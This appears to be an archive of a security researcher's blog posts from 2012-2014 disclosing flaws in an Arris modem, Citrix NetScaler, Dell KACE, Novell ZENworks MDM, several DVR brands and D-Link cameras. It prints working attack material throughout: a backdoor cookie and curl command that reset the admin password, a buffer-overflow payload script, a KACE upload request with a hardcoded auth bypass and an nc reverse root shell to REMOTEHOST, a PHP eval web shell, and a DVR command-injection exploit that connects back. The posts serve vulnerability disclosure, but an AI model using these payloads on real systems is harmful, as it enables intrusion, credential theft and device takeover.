Tuesday, September 23, 2014

Arris Cable Modem Backdoor - I'm a technician, trust me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.
Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
And after base64 decoding the "credential" value we get:
Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
Which decodes to the following:
And finally:
Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","",4);
Appears that the OID "" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' ';4;'
Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.

Monday, September 22, 2014

Scaling the NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:


Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>
It wasn’t clear what this end point was used for and it wasn’t friendly if you hit it directly:

So I grep’d through the application code looking for any calls to this service and got a hit:
root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn’t neutered with the hardcoded “$use_api = true;”

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this “if” statement was a reference to making a soap call and due to the reference to the local “/soap” and the fact all roads from “do_login” were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:
root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP > P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
..R...R.POST /soap HTTP/1.0
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string"></clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string"></ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP > P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn’t really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -A host and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP > S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just “junk”, so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn’t really clear exactly what the data was as it was some sort of “binary” stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch “A” into the stream:
import socket,sys
resp = “\x00\x01\x00\x00\xa5\xa5”+ (“A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
except socket.error as msg:
s = None
if s is None:
print 'could not open socket'
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit “pattern_create” works great for this (“root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000”). After replacing the “A” *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 
resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to “pattern_offset” and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

Friday, March 7, 2014

The curious case of the ninjamonkeypiratelaser backdoor

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
; About php.ini   ;
That bug is neat, but its post-auth and can’t be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named “kbot_upload.php”. This file is located on the appliance at the following location:
This script includes “KBotUpload.class.php” and then calls “KBotUpload::HandlePUT()”, it does not check for a valid session and utilizes its own “special” means to auth the request.

The "HandlePut()" function contains the following calls:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:
    private static function calcTokenChecksum($filename, $machineId, $mac)
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server. 

In addition to this “calcTokenChecksum” check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):  
 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www” user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp”, time to escalate to something more useful :)

From our new home in “tmp” with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC (“KSudoClient.class.php”).

The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 
Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
On our host:
    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

So at the end of the the day the count looks like this:
Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1
That all adds up to owned last time I checked.

Example PoC can be found at the following location:

Example usage can be seen below:

Tuesday, June 4, 2013

Novell Zenworks MDM: Mobile Device Management for the Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:
Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]
I took a quick look around and didn’t see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.
The actual CVE details are as follows:
“Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter.”
After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

Pulling up the source for the “DUSAP.php” script the following code path stuck out pretty bad:

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== ''  &&  $Language != $_SESSION["language"])
     //check for validity
     if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
          $_SESSION["language"] = $Language;

if (isset($_SESSION["language"]))
     require_once( $_SESSION["language"]);
} else
     require_once( 'res\languages\English.php' );

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);
In English:

  • Check if the "language" parameter is passed in on the request
  • If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
  • The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
  • If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
  • If the session variable "language" is set, include it into the page
  • Authenticate

So it is possible to include any file from the system as long as the provided path starts with “res/languages” and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:
$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;
The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:
egrep -R '\$_SESSION\[.*\] =' ./
This pulled up a ton of results, including the following:
 /desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
 Taking a look at the “download.php” file the following was observed:

if (isset($_SESSION["language"]))
     require_once( $_SESSION["language"]);
} else
     require_once( 'res\languages\English.php' );
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey']  > 0)

} else
     $_SESSION['$error'] = LOGIN_FAILED_TEXT;
     header('Location: index.php');

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:
 user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";
 Now, I’m sure if you are paying attention you’d say “wait, why don’t you just use exec/passthru/system”, well the application installs and configures IIS to use a “guest” account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are “encrypted”, but I kept seeing a function being used in PHP when trying to figure out how they were “encrypted”: mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:
return mdm_DecryptData($result[0]['Password']); 
Ends up it is magic – so I sent the following PHP to be executed on the server -
$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:
This bit of PHP will read the HTTP post’s body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:
foreach($output+as &$temp){echo+$temp."\\r\\n";};
The key here is the “bypass_shell” option that is passed to “proc_open”. Since all files that are created by the process user in the PHP “temp” directory are created with “all of the things” permissions, we can point “proc_open” at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

Update: Metasploit modules are now available as part of metasploit.

Tuesday, January 22, 2013

Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single

This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable “bootdcmd”.

Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py
[+]Username: admin
[+]Password: 123456
Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:

"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.

Thursday, December 27, 2012

Open Sesame (dlink - CVE-2012-4046)

A couple weeks ago a vulnerability was posted for the dlink DCS-9xx series of cameras. The author of the disclosure found that the setup application that comes with the camera is able to send a specifically crafted request to a camera on the same network and receive its password in plaintext. I figured this was a good chance to do some analysis and figure out exactly how the application carried out this functionality and possibly create a script to pull the password out of a camera.

The basic functionality of the application is as follows:

  • Application sends out a UDP broadcast on port 5978
  • Camera sees the broadcast on port 5978 and inspects the payload – if it sees that the initial part of the payload contains “FF FF FF FF FF FF” it responds (UDP broadcast port 5978) with an encoded payload with its own MAC address
  • Application retrieves the camera’s response and creates another UDP broadcast but this time it sets the payload to contain the target camera’s MAC address, this encoded value contains the command to send over the password
  • Camera sees the broadcast on port 5978 and checks that it is meant for it by inspecting the MAC address that has been specified in the payload, it responds with an encoded payload that contains its password (base64 encoded)

After spending some time with the application in a debugger I found what looked like it was responsible for the decoding of the encoded values that are passed:

super exciting screen shot.
After spending some time documenting the functionality I came up with the following notes (messy wall of text):

.JGE SHORT 0A729D36; stage1
./MOV EDX,DWORD PTR SS:[LOCAL.2]; set EDX to our 1st stage half decoded buffer
.|MOV ECX,DWORD PTR SS:[LOCAL.4]; set ECX to our current count/offset
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our base64 encoded payload
.|MOVSX EAX,BYTE PTR DS:[EAX]; set EAX to the current value in our base64 payload
.|MOV AL,BYTE PTR DS:[EAX+0A841934]; set EAX/AL to a hardcoded offset of its value table is at 0a841934
.|MOV BYTE PTR DS:[ECX+EDX],AL; ECX = Offset, EDX = start of our half-decoded buffer, write our current byte there
.|INC DWORD PTR SS:[LOCAL.4]; increment our offset/count
.|INC DWORD PTR SS:[LOCAL.3]; increment our base64 buffer to next value
.|MOV EDX,DWORD PTR SS:[LOCAL.4]; set EDX to our counter
.|CMP EDX,DWORD PTR SS:[ARG.2]; compare EDX (counter) to our total size
.\JL SHORT 0A729D13; jump back if we have not finished half decoding our input value
.MOV ECX,DWORD PTR SS:[ARG.3]; Looks like this will point at our decoded buffer
